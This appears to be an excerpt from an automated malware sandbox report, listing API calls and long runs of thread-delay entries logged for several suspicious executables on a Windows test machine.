Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_0041510B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410FBA GetSystemInfo,wsprintfA, 3_2_00410FBA
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99747 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99548 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99359 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99089 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98802 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98314 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 98031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 97781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99859 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99640 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99973 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99484 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99103 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99952 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99730 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 99047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596479 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596046 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595883 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595319 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594591 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594394 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593937 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593758 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593582 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593246 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592116 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589342 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589136 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588943 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588736 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588063 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587847 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587682 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587461 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586636 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586224 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586049 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585545 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585188 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584988 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583699 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583510 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582448 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582091 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581175 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580775 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580355 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580232 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580041 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579874 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579480 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578188 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576995 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575506 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575191 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574731 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574559 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571811 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571615 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571438 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570844 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569753 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569585 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569399 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569161 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568960 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568809 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568601 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567556 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567340 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566975 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566815 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566607 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565841 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565622 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564556 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564349 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563602 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563478 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563087 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562660 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562460 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562268 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561966 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561512 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560620 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560446 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560255 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560074 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558742 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558373 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557839 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557650 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557248 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557093 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556759 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556595 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556252 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555831 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555599 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555236 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555058 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554902 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554181 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553803 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553389 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553192 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552982 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552780 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551545 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550542 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550357 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549872 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549683 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548009 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545250 Jump to behavior
